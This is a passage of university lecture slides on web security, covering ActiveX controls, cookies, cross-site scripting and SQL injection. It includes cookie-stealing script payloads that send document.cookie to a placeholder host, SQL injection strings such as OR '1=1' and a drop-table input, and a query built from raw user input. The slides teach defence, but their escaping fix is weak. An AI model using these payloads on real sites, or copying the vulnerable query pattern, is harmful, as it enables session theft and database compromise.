<PARAM NAME="ExtentX" VALUE="3001">

<PARAM NAME="ExtentY" VALUE="2445">

</OBJECT>

</BODY> </HTML>

11/17/2010

Web Security

10

Authenticode in ActiveX

This signed ActiveX control ask the user for permission to run

If approved, the control will run with the same privileges as the user

The “Always trust content from …” checkbox automatically accepts controls by the same publisher

Probably a bad idea

11/17/2010

Web Security

11

Malicious Mobile Code, by R. Grimes, O’Reilly Books

Trusted/Untrusted ActiveX controls

Trusted publishers

List stored in the Windows registry

Malicious ActiveX controls can modify the registry table to make their publisher trusted

All future controls by that publisher run without prompting user

Unsigned controls

The prompt states that the control is unsigned and gives an accept/reject option

Even if you reject the control, it has already been downloaded to a temporary folder where it remains

It is not executed if rejected, but not removed either

11/17/2010

Web Security

12

Classic ActiveX Exploits

Exploder and Runner controls designed by Fred McLain

Exploder was an ActiveX control for which he purchased a VeriSign digital signature

The control would power down the machine

Runner was a control that simply opened up a DOS prompt While harmless, the control easily could have executed format C: or some other malicious command

http://www.halcyon.com/mclain/ActiveX/Exploder/FAQ.htm

Quicken exploit by a German hacking club

Intuit’s Quicken is personal financial management tool

Can be configured to auto-login to bank and credit car sites

The control that would search the computer for Quicken and execute a transaction that transfers user funds to their account

11/17/2010

Web Security

13

Cookies

Cookies are a small bit of information stored on a computer associated with a specific server

When you access a specific website, it might store information as a cookie

Every time you revisit that server, the cookie is re-sent to the server

Effectively used to hold state information over sessions

Cookies can hold any type of information

Can also hold sensitive information

This includes passwords, credit card information, social security number, etc.

Session cookies, non-persistent cookies, persistent cookies

Almost every large website uses cookies

11/17/2010

Web Security

14

More on Cookies

Cookies are stored on your computer and can be controlled

However, many sites require that you enable cookies in order to use the site

Their storage on your computer naturally lends itself to exploits (Think about how ActiveX could exploit cookies...)

You can (and probably should) clear your cookies on a regular basis

Most browsers will also have ways to turn off cookies, exclude certain sites from adding cookies, and accept only certain sites' cookies

Cookies expire

The expiration is set by the sites' session by default, which is chosen by the server

This means that cookies will probably stick around for a while

11/17/2010

Web Security

15

Taking Care of Your Cookies

Managing your cookies in Firefox:

Remove Cookie

Remove All Cookies

Displays information of individual cookies

Also tells names of cookies, which probably gives a good idea of what the cookie stores

i.e. amazon.com: session-id

11/17/2010

Web Security

16

Cross Site Scripting (XSS)

Attacker injects scripting code into pages generated by a web application

Script could be malicious code

JavaScript (AJAX!), VBScript, ActiveX, HTML, or Flash

Threats:

Phishing, hijacking, changing of user settings, cookie theft/poisoning, false advertising , execution of code on the client, ...

11/17/2010

Web Security

17

XSS Example

Website allows posting of comments in a guestbook

Server incorporates comments into page returned

<html>

<body>

<title>My Guestbook!</title>

Thanks for signing my guestbook!<br />

Here's what everyone else had to say:<br />

Joe: Hi! <br />

John: Hello, how are you? <br />

Jane: How does this guestbook work? <br />

</body>

Attacker can post comment that includes malicious JavaScript

Evilguy: <script>alert("XSS Injection!"); </script> <br />

guestbook.html

<html>

<title>Sign My Guestbook!</title>

<body>

Sign my guestbook!

<form action="sign.php" method="POST">

<input type="text" name="name">

<input type="text" name="message" size="40">

<input type="submit" value="Submit">

</form>

</body>

</html>

11/17/2010

Web Security

18

Cookie Stealing XSS Attacks

Attack 1

<script>

document.location = "http://www.evilsite.com/steal.php?cookie="+document.cookie;

</script>

Attack 2

<script>

img = new Image();

img.src = "http://www.evilsite.com/steal.php?cookie=" + document.cookie;

</script>

11/17/2010

Web Security

19

Another XSS Attack

Mallory finds that Bob’s site is XSS type 1 vulnerable

Mallory makes a tampered URL to use this vulnerability and sends to Alice an email pretending to be from Bob with the tampered URL

Alice uses the tampered URL at the same time while she is logged on Bob’s site

The malicious script is executed in Alice browser

Unbeknown to Alice, the script steals Alice’s confidential information and sends it to Mallory’s site

11/17/2010

Web Security

20

Client-side XSS defenses

Proxy-based:

Analyze HTTP traffic between browser and web server

Look for special HTML characters

Encode them before executing the page on the user’s web browser (i.e. NoScript - Firefox plugin)

Application-level firewall:

Analyze HTML pages for hyperlinks that might lead to leakage of sensitive information

Stop bad requests using a set of connection rules

Auditing system:

Monitor execution of JavaScript code and compare the operations against high-level policies to detect malicious behavior

11/17/2010

Web Security

21

SQL Injection Attack

Many web applications take user input from a form

Often this user input is used literally in the construction of a SQL query submitted to a database. For example:

SELECT user FROM table WHERE name = ‘user_input’;

An SQL injection attack involves placing SQL statements in the user input

11/17/2010

Web Security

22

SQL: Standard Query Language

SQL lets you access and manage (Query) databases

A database is a large collection of data organized in tables for rapid search and retrieval, with fields and columns

11/17/2010

Storage Confidentiality

23

First_Name Last_Name Code_ID
Bernardo Palazzi 345
Roberto Tamassia 122
Alex Heitzman 543
….. …. ….

A field or Column

A Record or Row

Table: CS166

SQL Syntax

SELECT statement is used to select data FROM one or more tables in a database

Result-set is stored in a result table

WHERE clause is used to filter records

11/17/2010

Storage Confidentiality

24

SELECT column_name(s) or *

FROM table_name

WHERE column_name operator value

SQL Syntax

11/17/2010

Storage Confidentiality

25

SELECT column_name(s) or *

FROM table_name

WHERE column_name operator value

ORDER BY column_name ASC|DESC

LIMIT starting row and number of lines

ORDER BY is used to order data following one or more fields (columns)

LIMIT allows to retrieve just a certain numbers of records (rows)

Login Authentication Query

Standard query to authenticate users:

select * from users where user='$usern' AND pwd='$password'

Classic SQL injection attacks

Server side code sets variables $username and $passwd from user input to web form

Variables passed to SQL query

select * from users where user='$username' AND pwd='$passwd'

Special strings can be entered by attacker

select * from users where user='M' OR '1=1' AND pwd='M' OR '1=1'

Result: access obtained without password

11/17/2010

Web Security

26

Some improvements …

Query modify:

select user,pwd from users where user='$usern‘

$usern=“M' OR '1=1”;

Result: the entire table

We can check:

only one tuple result

formal correctness of the result

$usern=“M' ; drop table user;”?

11/17/2010

Web Security

27

Correct Solution

We can use an Escape method, where all “malicious” characters will be changed:

Escape(“t ' c”) gives as a result “t \' c”

select user,pwd from users where user='$usern'

$usern=escape(“M' ;drop table user;”)

The result is the safe query:

select user,pwd from users where user='M\' drop table user;\''

11/17/2010

Web Security

28